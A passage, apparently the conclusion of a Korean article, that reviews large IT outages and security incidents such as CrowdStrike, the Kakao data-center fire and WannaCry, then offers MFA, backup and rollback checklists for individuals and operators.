메타는 사원증이 안 열렸고, 크라우드스트라이크 피해 기업은 BitLocker 복구 키 서버가 같이 죽었고, 카카오는 복구 도구가 불난 센터에 있었고, 국정자원은 백업이 같은 층에 있었습니다. 재해 복구 계획은 재해 밖에 있어야 합니다.

그래서 뭘 해야 하나

개인이 지금 당장 할 수 있는 것

  • MFA를 켜세요. 이 글의 사건 중 최소 두 건이 이거 하나로 막혔습니다. SMS보다는 인증 앱이나 패스키가 좋습니다.
  • 비밀번호를 재사용하지 마세요. 한 곳이 털리면 전부 털립니다. 비밀번호 관리자를 쓰세요.
  • 집 공유기·IP 카메라의 기본 비밀번호를 바꾸세요. 미라이는 여전히 살아 있습니다.
  • 자동 업데이트를 켜두세요. 워너크라이 피해자는 전부 ‘패치가 있었는데 안 한’ 사람들이었습니다.
  • 중요한 파일은 3-2-1 백업. 사본 3개, 서로 다른 매체 2종, 그중 1개는 물리적으로 다른 장소(또는 오프라인)에.
  • 한 서비스에 모든 걸 걸지 마세요. 메신저·인증·결제가 한 회사에 묶여 있으면 그 회사가 멈출 때 내 하루가 멈춥니다.

기업·운영자가 점검할 것

  • 설정·규칙·데이터 파일도 코드와 동일하게 단계적으로 배포하고 있는가
  • 배포를 되돌리는 절차(롤백)를 실제로 연습해 봤는가
  • 복구에 필요한 도구·문서·키·인증이 장애 대상과 다른 곳에 있는가
  • 우리 시스템이 쓰는 오픈소스 부품 목록(SBOM)을 알고 있는가
  • 원격 접속 경로 전체에 MFA가 걸려 있는가, 안 쓰는 계정은 폐기했는가
  • 백업이 다른 지역에 있고, 실제로 복원 테스트를 해봤는가
  • 특정 클라우드 리전 하나가 죽었을 때의 시나리오를 문서로 갖고 있는가

정리하면, 지난 10년간 세상을 멈춘 사건들은 아주 정교한 해킹보다 아주 평범한 실수에서 더 많이 나왔습니다. 검증되지 않은 파일 하나, 꺼두지 않은 전원 하나, 켜지 않은 MFA 하나.

기술은 계속 복잡해지는데, 우리는 점점 더 적은 수의 회사에 더 많은 것을 맡기고 있습니다. 그래서 다음 대란은 일어날지가 아니라 언제 일어날지의 문제예요.

완벽한 방어는 없다. 다만 빨리 알아채고, 빨리 되돌리고, 다른 곳에 사본을 둔 조직만 살아남는다.

참고 출처